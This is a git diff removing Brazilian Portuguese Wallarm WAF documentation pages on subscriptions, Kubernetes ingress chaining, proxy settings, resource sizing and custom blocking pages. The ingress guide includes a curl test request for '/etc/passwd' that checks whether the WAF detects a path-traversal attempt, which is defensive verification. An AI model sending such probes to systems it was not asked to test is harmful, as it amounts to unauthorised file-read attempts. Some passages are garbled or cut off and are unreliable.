Wallarm. - -O plano de assinatura Free Tier inclui: - -* Os recursos do Wallarm disponíveis gratuitamente até a cota de **500 mil solicitações por mês** sem limitação de tempo. A cota é reiniciada no primeiro dia de cada mês. -* Acesso à plataforma Wallarm como [Segurança Avançada de API](#subscription-plans), exceto para o seguinte: - - * Scanners de [Vulnerabilidade](detecting-vulnerabilities.md#vulnerability-scanner) e [Ativos Expostos](../user-guides/scanner.md) - * O recurso [Prevenção de ameaças ativas](detecting-vulnerabilities.md#active-threat-verification) - * O módulo [Prevenção de Abuso de API](../api-abuse-prevention/overview.md) - * Implementação do tipo [Nó CDN](../installation/cdn-node.md) - * Cobertura parcial do Top 10 de API do OWASP devido à indisponibilidade do Scanner de Vulnerabilidades - * Acesso à API Wallarm - -**O que acontece se a cota for excedida?** - -Se a conta da empresa exceder 100% da cota mensal Free Tier, seu acesso ao Console Wallarm será desativado, assim como todas as integrações. Ao atingir 200%, a proteção em seus nós Wallarm será desativada. - -Essas restrições estarão em vigor até o primeiro dia do próximo mês. Entre em contato com a equipe de vendas da Wallarm [sales@wallarm.com](mailto:sales@wallarm.com) para restaurar o serviço imediatamente, mudando para um dos planos de assinatura pagos. - -As informações sobre o uso da assinatura da camada gratuita são exibidas no Console Wallarm → **Configurações** → [**Assinaturas**](../user-guides/settings/subscriptions.md). - -Wallarm notifica **Administradores** e **Administradores Globais** de sua conta por e-mail quando 85%, 100%, 185% e 200% da cota de solicitações gratuitas foram excedidas. - -## Período de teste (Cloud da EU) - -Quando um novo usuário é registrado no Console Wallarm do **[EU Cloud](overview.md#cloud)**, uma nova conta de cliente com um período de teste ativo é criada automaticamente no sistema Wallarm. - -* O período de teste é gratuito. -* O período de teste dura 14 dias. -* O período de teste do Wallarm oferece o conjunto máximo de módulos e recursos que podem ser incluídos no [plano](#subscription-plans) de Segurança de API. -* O período de teste pode ser prorrogado por mais 14 dias apenas uma vez. - - O período de teste pode ser prorrogado no Console Wallarm → **Configurações** → [**Assinaturas**](../user-guides/settings/subscriptions.md) seção e por meio do botão do e-mail notificando sobre o final do período de teste. O e-mail é enviado apenas para usuários com o [papel de **Administrador** e **Administrador Global**](../user-guides/settings/users.md#user-roles). -* Se o período de teste expirou: - - * A conta no Console Wallarm será bloqueada. - * A sincronização entre o nó Wallarm e a Cloud Wallarm será interrompida. - * O nó Wallarm irá operar localmente, mas não receberá nenhuma atualização da Cloud Wallarm e também não enviará dados para a Cloud. - - Quando uma assinatura paga para o Wallarm é ativada, o acesso à conta do cliente é restaurado para todos os usuários. - -Informações sobre o período de teste são exibidas no Console Wallarm → **Configurações** → [**Assinaturas**](../user-guides/settings/subscriptions.md). diff --git a/docs/latest-pt-BR/admin-en/admin-intro-en.md b/docs/latest-pt-BR/admin-en/admin-intro-en.md deleted file mode 100644 index 05e695b7d8..0000000000 --- a/docs/latest-pt-BR/admin-en/admin-intro-en.md +++ /dev/null @@ -1,5 +0,0 @@ -# Introdução ao guia do administrador - -Este guia fornece informações sobre as opções de configuração do Wallarm e integração de infraestrutura. - -Você deve ter acesso de administrador para realizar a maioria das operações descritas neste guia. Você pode definir o acesso do administrador na aba **Configurações** → **Usuários** no console Wallarm na nuvem [EUA](https://us1.my.wallarm.com) ou [EU](https://my.wallarm.com). \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/apifw-metrics.md b/docs/latest-pt-BR/admin-en/apifw-metrics.md deleted file mode 100644 index 0b41fb2754..0000000000 --- a/docs/latest-pt-BR/admin-en/apifw-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/apifw-metrics.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/chaining-wallarm-and-other-ingress-controllers.md b/docs/latest-pt-BR/admin-en/chaining-wallarm-and-other-ingress-controllers.md deleted file mode 100644 index 3d807c7d96..0000000000 --- a/docs/latest-pt-BR/admin-en/chaining-wallarm-and-other-ingress-controllers.md +++ /dev/null @@ -1,206 +0,0 @@ -[node-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[nginx-ing-create-node-img]: ../images/user-guides/nodes/create-wallarm-node-name-specified.png - -# Encadeando o Wallarm e outros Ingress Controllers no mesmo cluster Kubernetes - -Estas instruções fornecem os passos para implantar o Ingress Controller Wallarm no seu cluster K8s e encadeá-lo com outros Controllers que já estão rodando no seu ambiente. - -## O problema abordado pela solução - -Wallarm oferece seu software de nó em diferentes formatos, incluindo [Ingress Controller construído em cima do Community Ingress NGINX Controller](installation-kubernetes-en.md). - -Se você já usa um Ingress controller, pode ser desafiador substituir o Ingress controller existente pelo Controller Wallarm (por exemplo, se estiver usando o AWS ALB Ingress Controller). Nesse caso, você pode explorar a [solução Wallarm Sidecar](../installation/kubernetes/sidecar-proxy/deployment.md), mas se ela também não se adequar à sua infraestrutura, é possível encadear vários Ingress Controllers. - -O encadeamento do Ingress Controller permite que você utilize um controller existente para obter solicitações de usuários finais para um cluster, e implante um Ingress Controller Wallarm adicional para fornecer a proteção de aplicação necessária. - -## Requisitos - -* Versão da plataforma Kubernetes 1.24-1.27 -* Gerenciador de pacotes [Helm](https://helm.sh/) -* Acesso à conta com a função **Administrador** e autenticação de dois fatores desativada no Wallarm Console para a [Nuvem dos EUA](https://us1.my.wallarm.com/) ou [Nuvem da UE](https://my.wallarm.com/) -* Acesso a `https://us1.api.wallarm.com` para trabalhar com a Wallarm Cloud dos EUA ou a `https://api.wallarm.com` para trabalhar com a Wallarm Cloud da UE -* Acesso a `https://charts.wallarm.com` para adicionar os gráficos Helm da Wallarm. Certifique-se de que o acesso não é bloqueado por um firewall -* Acesso aos repositórios Wallarm no Docker Hub `https://hub.docker.com/r/wallarm`. Garanta que o acesso não é bloqueado por um firewall -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* Cluster do Kubernetes implantado rodando um Ingress controller - -## Implantando o Wallarm Ingress controller e o encadeando com um Ingress Controller adicional - -Para implantar o Wallarm Ingress controller e encadeá-lo com Controllers adicionais: - -1. Implante o gráfico Helm do Controller Wallarm oficial usando um valor de classe Ingress diferente do Controller Ingress existente. -1. Crie o objeto Ingress específico do Wallarm com: - - * A mesma `ingressClass` que foi especificada no `values.yaml` do gráfico Helm do Wallarm Ingress. - * As regras de roteamento de solicitações do Ingress controller configuradas da mesma maneira que o Controller Ingress existente. - - !!! info "O Wallarm Ingress controller não será exposto fora do cluster" - Note que o Wallarm Ingress controller usa `ClusterIP` para seu serviço, o que significa que ele não será exposto fora do cluster. -1. Reconfigure o Controller Ingress existente para encaminhar pedidos de entrada para o novo Wallarm Ingress Controller em vez dos serviços de aplicação. -1. Teste a operação do Wallarm Ingress Controller. - -### Passo 1: Implantar o Wallarm Ingress Controller - -1. Gere um token de nó de filtragem do [tipo apropriado][node-token-types]: - - === "Token de API (gráfico Helm 4.6.8 e acima)" - 1. Abra Wallarm Console → **Configurações** → **Tokens de API** na [Nuvem dos EUA](https://us1.my.wallarm.com/settings/api-tokens) ou [Nuvem da UE](https://my.wallarm.com/settings/api-tokens). - 1. Encontre ou crie um token de API com a função de fonte `Deploy`. - 1. Copie esse token. - === "Token de nó" - 1. Abra Wallarm Console → **Nós** na [Nuvem dos EUA](https://us1.my.wallarm.com/nodes) ou [Nuvem da UE](https://my.wallarm.com/nodes). - 1. Crie um nó de filtragem com o tipo **Wallarm node** e copie o token gerado. - - ![Criação de um nó Wallarm][nginx-ing-create-node-img] -1. Adicione o [repositório de gráficos Helm Wallarm](https://charts.wallarm.com/): - ``` - helm repo add wallarm https://charts.wallarm.com - helm repo update - ``` -1. Crie o arquivo `values.yaml` com a seguinte configuração do Wallarm: - - === "Nuvem dos EUA" - ```bash - controller: - wallarm: - enabled: true - token: "" - apiHost: us1.api.wallarm.com - # nodeGroup: defaultIngressGroup - config: - use-forwarded-headers: "true" - ingressClass: wallarm-ingress - ingressClassResource: - name: wallarm-ingress - controllerValue: "k8s.io/wallarm-ingress" - service: - type: ClusterIP - nameOverride: wallarm-ingress - ``` - === "Nuvem da UE" - ```bash - controller: - wallarm: - enabled: true - token: "" - # nodeGroup: defaultIngressGroup - config: - use-forwarded-headers: "true" - ingressClass: wallarm-ingress - ingressClassResource: - name: wallarm-ingress - controllerValue: "k8s.io/wallarm-ingress" - service: - type: "ClusterIP" - nameOverride: wallarm-ingress - ``` - - * `` é o token do nó Wallarm. - * Ao usar um token de API, especifique um nome de grupo de nó no parâmetro `nodeGroup`. Seu nó será atribuído a este grupo, mostrado na seção **Nós** do Wallarm Console. O nome do grupo padrão é `defaultIngressGroup`. - - Para aprender mais opções de configuração, por favor use o [link](configure-kubernetes-en.md). -1. Instale o gráfico Helm Wallarm Ingress: - ``` bash - helm install --version 4.8.2 internal-ingress wallarm/wallarm-ingress -n wallarm-ingress -f values.yaml --create-namespace - ``` - - * `internal-ingress` é o nome da versão Helm - * `values.yaml` é o arquivo YAML com valores Helm criado no passo anterior - * `wallarm-ingress` é o namespace onde instalar o gráfico Helm (será criado) -1. Verifique se o Wallarm ingress controller está operando: - - ```bash - kubectl get pods -n wallarm-ingress - ``` - - Cada status do pod deve ser **STATUS: Running** ou **READY: N/N**. Por exemplo: - - ``` - NAME READY STATUS RESTARTS AGE - internal-ingress-wallarm-ingress-controller-6d659bd79b-952gl 3/3 Running 0 8m7s - internal-ingress-wallarm-ingress-controller-wallarm-tarant64m44 4/4 Running 0 8m7s - ``` - -### Passo 2: Criar objeto Ingress com `ingressClassName` específica do Wallarm - -Crie o objeto Ingress com o mesmo nome `ingressClass` configurado em `values.yaml` no passo anterior. - -Ingress object deve estar no mesmo namespace onde sua aplicação está implantada, por exemplo: - -```yaml -apiVersion: networking.k8s.io/v1 -kind: Ingress -metadata: - annotations: - nginx.ingress.kubernetes.io/wallarm-application: "1" - nginx.ingress.kubernetes.io/wallarm-mode: monitoring - name: myapp-internal - namespace: myapp -spec: - ingressClassName: wallarm-ingress - rules: - - host: www.example.com - http: - paths: - - path: / - pathType: Prefix - backend: - service: - name: myapp - port: - number: 80 -``` - -### Passo 3: Reconfigure o Ingress controller existente para encaminhar solicitações para o Wallarm - -Reconfigure o Ingress Controller existente para encaminhar as solicitações de entrada para o novo Wallarm Ingress Controller em vez dos serviços da aplicação como segue: - -* Crie o objeto Ingress com o nome `ingressClass` para ser `nginx`. Note que este é o valor padrão, você pode substituí-lo pelo seu próprio valor se ele for diferente. -* O objeto Ingress deve estar no mesmo namespace que o gráfico Wallarm Ingress, que é `wallarm-ingress` no nosso exemplo. -* O valor de `spec.rules[0].http.paths[0].backend.service.name` deve ser o nome do serviço Wallarm Ingress Controller que é composto pelo nome do release Helm e `.Values.nameOverride`. - - Para obter o nome, você pode usar o seguinte comando: - - ```bash - kubectl get svc -l "app.kubernetes.io/component=controller" -n wallarm-ingress -o=jsonpath='{.items[0].metadata.name}' - ``` - - Em nosso exemplo, o nome é `internal-ingress-wallarm-ingress-controller`. - -A configuração resultante do exemplo: - -```yaml -apiVersion: networking.k8s.io/v1 -kind: Ingress -metadata: - name: myapp-external - namespace: wallarm-ingress -spec: - ingressClassName: nginx - rules: - - host: www.example.com - http: - paths: - - path: / - pathType: Prefix - backend: - service: - name: internal-ingress-wallarm-ingress-controller - port: - number: 80 -``` - -### Passo 4: Teste a operação do Wallarm Ingress Controller - -Obtenha o IP público do Load Balancer do Controlador Ingress externo existente, por exemplo, consideraremos que ele é implantado no namespace `ingress-nginx`: -```bash -LB_IP=$(kubectl get svc -l "app.kubernetes.io/component=controller" -n ingress-nginx -o=jsonpath='{.items[0].status.loadBalancer.ingress[0].ip}') -``` - -Envie uma solicitação de teste para o endereço do Controlador Ingress existente e verifique se o sistema está funcionando como esperado: - -```bash -curl -H "Host: www.example.com" ${LB_IP}/etc/passwd -``` \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md b/docs/latest-pt-BR/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md deleted file mode 100644 index 43fd00a408..0000000000 --- a/docs/latest-pt-BR/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md +++ /dev/null @@ -1,42 +0,0 @@ -# Acesso à API Wallarm via Proxy - -Essas instruções descrevem os passos para configurar o acesso à API Wallarm via servidor de proxy. - -* `https://api.wallarm.com/` para o Cloud EU -* `https://us1.api.wallarm.com/` para o Cloud US - -Para configurar o acesso, atribua novos valores às variáveis de ambiente que definem o servidor de proxy utilizado no arquivo `/etc/environment`: - -* `https_proxy` para definir um proxy para o protocolo HTTPS -* `http_proxy` para definir um proxy para o protocolo HTTP -* `no_proxy` para definir a lista de recursos que o proxy não deve ser usado - -## Valores do https_proxy e http_proxy - -Atribua os valores da sequência `://:@:` às variáveis `https_proxy` e `http_proxy`: - -* `` define o protocolo usado. Deve corresponder ao protocolo que a variável de ambiente atual configura o proxy -* `` define o nome de usuário para autorização de proxy -* `` define a senha para autorização de proxy -* `` define um host do servidor de proxy -* `` define uma porta do servidor de proxy - -## Valor do no_proxy - -Para a variável `no_proxy`, atribua o array de endereços IP e/ou domínios dos recursos para os quais o proxy não deve ser usado: - -* `127.0.0.1`, `127.0.0.8`, `127.0.0.9` e `localhost` para operação correta do nó Wallarm -* endereços adicionais no formato: `", , , , ..."` onde ``, ``, `` e `` são os endereços IP e/ou domínios - -## Exemplo do arquivo /etc/environment - -Um exemplo do arquivo `/etc/environment` abaixo demonstra a seguinte configuração: - -* Solicitações HTTPS e HTTP são direcionadas ao host `1.2.3.4` com a porta `1234`, usando o nome de usuário `admin` e a senha `01234` para autorização no servidor de proxy. -* O proxy é desativado para as solicitações enviadas para `127.0.0.1`, `127.0.0.8`, `127.0.0.9` e `localhost`. - -```bash -https_proxy=http://admin:01234@1.2.3.4:1234 -http_proxy=http://admin:01234@1.2.3.4:1234 -no_proxy="127.0.0.1, 127.0.0.8, 127.0.0.9, localhost" -``` \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/configuration-guides/allocate-resources-for-node.md b/docs/latest-pt-BR/admin-en/configuration-guides/allocate-resources-for-node.md deleted file mode 100644 index ee5912a050..0000000000 --- a/docs/latest-pt-BR/admin-en/configuration-guides/allocate-resources-for-node.md +++ /dev/null @@ -1,160 +0,0 @@ -# Alocando Recursos para o Nó Wallarm - -A quantidade de memória e recursos de CPU alocados para o nó de filtro determina a qualidade e a velocidade do processamento da solicitação. Estas instruções descrevem as recomendações para a alocação de memória do nó de filtragem. - -Em um nó de filtragem existem dois principais consumidores de memória e CPU: - -* [Tarantool](#tarantool), também chamado de **módulo pós-analítico**. Este é o backend de análise de dados local e o principal consumidor de memória em um nó de filtragem. -* [NGINX](#nginx) é o principal nó de filtragem e componente de proxy reverso. - -A utilização da CPU do NGINX depende de muitos fatores, como o nível de RPS, o tamanho médio de solicitação e resposta, o número de regras de conjunto de regras personalizadas manipuladas pelo nó, tipos e camadas de codificações de dados utilizadas, como Base64 ou compressão de dados, etc. - -Em média, um núcleo de CPU pode manipular cerca de 500 RPS. Ao ser executado no modo de produção, é recomendado alocar pelo menos um núcleo de CPU para o processo NGINX e um núcleo para o processo Tarantool. Na maioria dos casos, é recomendado inicialmente sobrealocar um nó de filtragem, ver o uso real da CPU e da memória para os níveis de tráfego de produção reais e reduzir gradualmente os recursos alocados para um nível razoável (com pelo menos 2x de folga para picos de tráfego e redundância do nó). - -## Tarantool - ---8<-- "../include-pt-BR/allocate-resources-for-waf-node/tarantool-memory.md" - -### Alocando Recursos no Controlador de Ingresso do Kubernetes - ---8<-- "../include-pt-BR/allocate-resources-for-waf-node/tarantool-memory-ingress-controller.md" - -### Alocando Recursos em Outras Opções de Implantação - -O dimensionamento da memória do Tarantool é controlado usando o atributo `SLAB_ALLOC_ARENA` no arquivo de configuração `/etc/default/wallarm-tarantool`. Para alocar memória: - -
        1. Abra para edição o arquivo de configuração do Tarantool:
        - -=== "Debian 10.x (buster)" - ```bash - sudo vim /etc/default/wallarm-tarantool - ``` -=== "Debian 11.x (bullseye)" - ```bash - sudo vim /etc/default/wallarm-tarantool - ``` -=== "Ubuntu 18.04 LTS (bionic)" - ```bash - sudo vim /etc/default/wallarm-tarantool - ``` -=== "Ubuntu 20.04 LTS (focal)" - ```bash - sudo vim /etc/default/wallarm-tarantool - ``` -=== "Ubuntu 22.04 LTS (jammy)" - ```bash - sudo vim /etc/default/wallarm-tarantool - ``` -=== "CentOS 7.x" - ```bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` -=== "Amazon Linux 2.0.2021x e mais antigos" - ```bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` -=== "RHEL 8.x" - ```bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` - -
        1. Defina o atributo SLAB_ALLOC_ARENA para o tamanho da memória. O valor pode ser um número inteiro ou um número de ponto flutuante (um ponto . é um separador decimal). Por exemplo:
        - -``` -SLAB_ALLOC_ARENA=1.0 -``` - -
        1. Reinicie o Tarantool:
        - -=== "Debian 10.x (buster)" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "Debian 11.x (bullseye)" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "Ubuntu 18.04 LTS (bionic)" - ```bash - sudo service wallarm-tarantool restart - ``` -=== "Ubuntu 20.04 LTS (focal)" - ```bash - sudo service wallarm-tarantool restart - ``` -=== "Ubuntu 22.04 LTS (jammy)" - ```bash - sudo service wallarm-tarantool restart - ``` -=== "CentOS 7.x" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "Amazon Linux 2.0.2021x e mais antigos" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart wallarm-tarantool - ``` - -## NGINX - -O consumo de memória do NGINX depende de muitos fatores. Em média, pode ser estimado da seguinte maneira: - -``` -Número de requisições simultâneas * Tamanho médio da requisição * 3 -``` - -Por exemplo: - -* O nó de filtragem está processando no pico 10000 solicitações simultâneas, -* o tamanho médio da solicitação é 5 kB. - -O consumo de memória do NGINX pode ser estimado da seguinte maneira: - -``` -10000 * 5 kB * 3 = 150000 kB (ou ~150 MB) -``` - -**Para alocar a quantidade de memória:** - -* para o pod do controlador de Ingresso NGINX (`ingress-controller`), configure as seguintes seções no arquivo `values.yaml` usando a opção `--set` de `helm install` ou `helm upgrade`: - ``` - controller: - resources: - limits: - cpu: 400m - memory: 3280Mi - requests: - cpu: 200m - memory: 1640Mi - ``` - - Exemplo de comandos alterando os parâmetros: - - === "Instalação do controlador de Ingresso" - ```bash - helm install --set controller.resources.limits.cpu='2000m',controller.resources.limits.memory='3280Mi' wallarm/wallarm-ingress -n - ``` - - Também há [outros parâmetros](../configure-kubernetes-en.md#additional-settings-for-helm-chart) necessários para a correta instalação do controlador de Ingresso. Por favor, passe-os na opção `--set` também. - === "Atualizando os parâmetros do controlador de Ingresso" - ```bash - helm upgrade --reuse-values --set controller.resources.limits.cpu='2000m',controller.resources.limits.memory='3280Mi' wallarm/wallarm-ingress -n - ``` - -* para outras opções de implantação, use os arquivos de configuração do NGINX. - -## Solução de Problemas - -Se um nó Wallarm consome mais memória e CPU do que o esperado, para reduzir o uso de recursos, familiarize-se com as recomendações do artigo de [solução de problemas de alto uso de CPU](../../faq/cpu.md) e siga-as. diff --git a/docs/latest-pt-BR/admin-en/configuration-guides/configure-block-page-and-code.md b/docs/latest-pt-BR/admin-en/configuration-guides/configure-block-page-and-code.md deleted file mode 100644 index 7d3816177c..0000000000 --- a/docs/latest-pt-BR/admin-en/configuration-guides/configure-block-page-and-code.md +++ /dev/null @@ -1,513 +0,0 @@ -# Configuração da página de bloqueio e código de erro (NGINX) - -Estas instruções descrevem o método para personalizar a página de bloqueio e o código de erro retornados na resposta à solicitação bloqueada pelas seguintes razões: - -* Solicitação contém cargas maliciosas dos seguintes tipos: [ataques de validação de entrada](../../about-wallarm/protecting-against-attacks.md#input-validation-attacks), [ataques vpatch](../../user-guides/rules/vpatch-rule.md), ou [ataques detectados com base em expressões regulares](../../user-guides/rules/regex-rule.md). -* Solicitação contendo cargas maliciosas da lista acima originadas de [endereços IP na lista cinza](../../user-guides/ip-lists/graylist.md) e o nó filtra solicitações no modo de bloqueio seguro [modo](../configure-wallarm-mode.md). -* Solicitação originada do [endereço IP na lista de negação](../../user-guides/ip-lists/denylist.md). - -## Limitações de configuração - -A configuração da página de bloqueio e do código de erro é suportada em implantações de nó Wallarm baseadas em NGINX, mas não é suportada em implantações de nó Wallarm baseadas em Envoy e CDN. Os nós Wallarm baseados em Envoy e CDN sempre retornam o código `403` na resposta à solicitação bloqueada. - -## Métodos de configuração - -Por padrão, o código de resposta 403 e a página de bloqueio padrão do NGINX são retornados ao cliente. Você pode alterar as configurações padrão usando as seguintes diretivas do NGINX: - -* `wallarm_block_page` -* `wallarm_block_page_add_dynamic_path` - -### Diretiva NGINX `wallarm_block_page` - -Você pode configurar a página de bloqueio e o código de erro passando os seguintes parâmetros na diretiva `wallarm_block_page` do NGINX: - -* Caminho para o arquivo HTM ou HTML da página de bloqueio. Você pode especificar o caminho para uma página de bloqueio personalizada ou a [página de bloqueio de amostra](#customizing-sample-blocking-page) fornecida pelo Wallarm. -* O texto da mensagem a ser retornada em resposta a uma solicitação bloqueada. -* URL para o redirecionamento do cliente. -* `response_code`: código de resposta. -* `type`: o tipo da solicitação bloqueada em resposta ao qual a configuração especificada deve ser retornada. O parâmetro aceita um ou vários valores (separados por vírgulas) da lista: - - * `attack` (por padrão): para solicitações bloqueadas pelo nó de filtragem ao filtrar solicitações no modo de bloqueio ou bloqueio seguro [modo](../configure-wallarm-mode.md). - * `acl_ip`: para solicitações originadas de endereços IP que são adicionados à [lista de negação](../../user-guides/ip-lists/denylist.md) como um único objeto ou uma sub-rede. - * `acl_source`: para solicitações originadas de endereços IP que são registrados em [países, regiões ou datacenters na lista de negação](../../user-guides/ip-lists/denylist.md). - -A diretiva `wallarm_block_page` aceita os parâmetros listados nos seguintes formatos: - -* Caminho para o arquivo HTM ou HTML, código de erro (opcional) e tipo de solicitação bloqueada (opcional) - - ```bash - wallarm_block_page &/ response_code= type=; - ``` - - Wallarm fornece a página de bloqueio de amostra `&/usr/share/nginx/html/wallarm_blocked.html`. Você pode usar esta página como ponto de partida para sua [personalização](#customizing-sample-blocking-page). - - Você pode usar [variáveis do NGINX](https://nginx.org/en/docs/varindex.html) na página de bloqueio. Para isso, adicione o nome da variável no formato `${variable_name}` ao código da página de bloqueio, por exemplo, `${remote_addr}` para exibir o endereço IP de onde a solicitação bloqueada se originou. - - !!! warning "Informação importante para usuários do Debian e CentOS" - Se você usa uma versão do NGINX inferior a 1.11 instalada a partir dos repositórios [CentOS/Debian](../../installation/nginx/dynamic-module-from-distr.md), você deve remover a variável `request_id` do código da página para exibir corretamente a página de bloqueio dinâmico: - ``` - UUID ${request_id} - ``` - - Isso se aplica tanto a `wallarm_blocked.html` quanto à página de bloqueio personalizada. - - [Exemplo de configuração →](#path-to-the-htm-or-html-file-with-the-blocking-page-and-error-code) -* URL para o redirecionamento do cliente e tipo de solicitação bloqueada (opcional) - - ``` bash - wallarm_block_page / type=; - ``` - - [Exemplo de configuração →](#url-for-the-client-redirection) -* Named NGINX `localização` e tipo de solicitação bloqueada (opcional) - - ``` bash - wallarm_block_page @ type=; - ``` - - [Exemplo de configuração →](#named-nginx-location) -* Nome da variável que define o caminho para o arquivo HTM ou HTML, código de erro (opcional) e tipo de solicitação bloqueada (opcional) - - ``` bash - wallarm_block_page & response_code= type=; - ``` - - !!! warning "Inicializando a página de bloqueio com variáveis do NGINX no código" - Se você estiver usando este método para definir a página de bloqueio com [variáveis do NGINX](https://nginx.org/en/docs/varindex.html) em seu código, por favor, inicialize esta página através da diretiva [`wallarm_block_page_add_dynamic_path`](#nginx-directive-wallarm_block_page_add_dynamic_path). - - [Exemplo de configuração →](#variable-and-error-code) - -A diretiva `wallarm_block_page` pode ser definida dentro dos blocos `http`, `server`, `location` do arquivo de configuração do NGINX. - -### Diretiva NGINX `wallarm_block_page_add_dynamic_path` - -A diretiva `wallarm_block_page_add_dynamic_path` é usada para inicializar a página de bloqueio que tem variáveis do NGINX em seu código e o caminho para essa página de bloqueio também é definido usando uma variável. Caso contrário, a diretiva não é usada. - -A diretiva pode ser definida dentro do bloco `http` do arquivo de configuração do NGINX. - -## Personalizando a página de bloqueio de amostra - -A página de bloqueio de amostra fornecida pelo Wallarm `/usr/share/nginx/html/wallarm_blocked.html` é a seguinte: - -![Página de bloqueio do Wallarm](../../images/configuration-guides/blocking-page-provided-by-wallarm-36.png) - -Você pode usar a página de amostra como ponto de partida para sua personalização, aprimorando-a por: - -* Adicionando o logotipo da sua empresa - por padrão, nenhum logotipo é apresentado na página. -* Adicionando o e-mail de suporte de sua empresa - por padrão, nenhum link de e-mail é usado e a frase `contact us` é o texto simples sem nenhum link. -* Alterando quaisquer outros elementos HTML ou adicionando os seus. - -!!! info "Variantes de página de bloqueio personalizado" - Em vez de modificar a página de amostra fornecida pelo Wallarm, você pode criar uma página personalizada do zero. - -### Procedimento geral - -Se você modificar a própria página de amostra, suas modificações podem ser perdidas na atualização dos componentes do Wallarm. Portanto, é recomendável copiar a página de amostra, dar a ela um novo nome e só então modificá-la. Aja de acordo com seu tipo de instalação, conforme descrito nas seções abaixo. - -**Página de amostra para cópia** - -Você pode fazer uma cópia de `/usr/share/nginx/html/wallarm_blocked.html` no ambiente onde seu nó de filtragem está instalado. Alternativamente, copie o código abaixo e salve-o como seu novo arquivo: - -??? info "Mostrar código da página de amostra" - - ```html - - - - - - - - Você está bloqueado - - - - - - -
        - - -
        -
        - - - - - -
        Atividade maliciosa bloqueada
        -
        Sua solicitação foi bloqueada pois foi identificada como maliciosa.
        -
        -
        -
        Por que isso aconteceu
        -
        - Você pode ter usado símbolos semelhantes a uma sequência de código malicioso, ou carregado um arquivo específico. -
        - -
        - -
        O que fazer
        -
        - Se a sua solicitação é considerada legítima, por favor entre em contato conosco e forneça a descrição de sua última ação e os seguintes dados: -
        - -
        - IP ${remote_addr}
        - Bloqueado em ${time_iso8601}
        - UUID ${request_id} -
        - - -
        -
        -
        -
        - - - ``` - -**Sistema de arquivos comum** - -Você pode fazer uma cópia de `/usr/share/nginx/html/wallarm_blocked.html` com um novo nome onde quiser (o NGINX deve ter permissão de leitura lá), incluindo a mesma pasta. - -**Container Docker** - -Para modificar a página de bloqueio de amostra ou fornecer seu próprio personalizado a partir do zero, você pode usar a funcionalidade [bind mount](https://docs.docker.com/storage/bind-mounts/) do Docker. Ao usá-lo, sua página e o arquivo de configuração do NGINX a partir de sua máquina host são copiados para o contêiner e, em seguida, referenciados com os originais, de modo que, se você alterar os arquivos na máquina host, suas cópias serão sincronizadas e vice-versa. - -Portanto, para modificar a página de bloqueio de amostra ou fornecer seu próprio, faça o seguinte: - -1. Antes da primeira execução, [prepare](#copy) seu `wallarm_blocked_renamed.html` modificado. -1. Prepare o arquivo de configuração do NGINX com o caminho para a sua página de bloqueio. Veja [exemplo de configuração](#path-to-the-htm-or-html-file-with-the-blocking-page-and-error-code). -1. Execute o contêiner [montando](../installation-docker-en.md#run-the-container-mounting-the-configuration-file) a página de bloqueio preparada e o arquivo de configuração. -1. Se você precisar atualizar sua página de bloqueio em um contêiner em execução, na máquina host, altere o `wallarm_blocked_renamed.html` referenciado e reinicie o NGINX no contêiner. - -**Controlador de Entrada** - -Para modificar a página de bloqueio de amostra ou fornecer sua própria, faça o seguinte: - -1. [Prepare](#copy) seu `wallarm_blocked_renamed.html` modificado. -1. [Crie o ConfigMap a partir do arquivo](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#create-configmaps-from-files) `wallarm_blocked_renamed.html`. -1. Monte o ConfigMap criado no pod com o controlador de entrada Wallarm. Para isso, atualize o objeto de Implementação relevante para o controlador de entrada Wallarm seguindo as [instruções](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#populate-a-volume-with-data-stored-in-a-configmap). - - !!! info "Variações da página de bloqueio personalizado" - Em vez de montar o ConfigMap na diretiva existente usada para montar ConfigMap serão excluídas. - -### Modificações frequentes - -Para adicionar o logotipo da sua empresa, no arquivo `wallarm_blocked_renamed.html`, modifique e descomente: - -```html -
        - -``` - -Para adicionar o e-mail de suporte da sua empresa, no arquivo `wallarm_blocked_renamed.html`, modifique a variável `SUPPORT_EMAIL`: - -```html - -``` - -Se inicializar uma variável personalizada contendo `$` em um valor, escape este símbolo adicionando `{wallarm_dollar}` antes do nome da variável, por exemplo: `${wallarm_dollar}{variable_name}`. A variável `wallarm_dollar` retorna `&`. - -## Exemplos de configuração - -Abaixo estão exemplos de configuração da página de bloqueio e código de erro através das diretivas `wallarm_block_page` e `wallarm_block_page_add_dynamic_path`. - -O parâmetro `type` da diretiva `wallarm_block_page` é explicitamente especificado em cada exemplo. Se você remover o parâmetro `type`, então a página de bloqueio configurada, a mensagem, etc serão retornados apenas na resposta à solicitação bloqueada pelo nó de filtragem no modo de bloqueio ou bloqueio seguro [modo](../configure-wallarm-mode.md). - -### Caminho para o arquivo HTM ou HTML com a página de bloqueio e código de erro - -Este exemplo mostra as seguintes configurações de resposta: - -* [Modificado](#customizing-sample-blocking-page) página de bloqueio de amostra Wallarm `/usr/share/nginx/html/wallarm_blocked_renamed.html` e o código de erro 445 retornado se a solicitação é bloqueada pelo nó de filtragem no modo de bloqueio ou bloqueio seguro. -* Página de 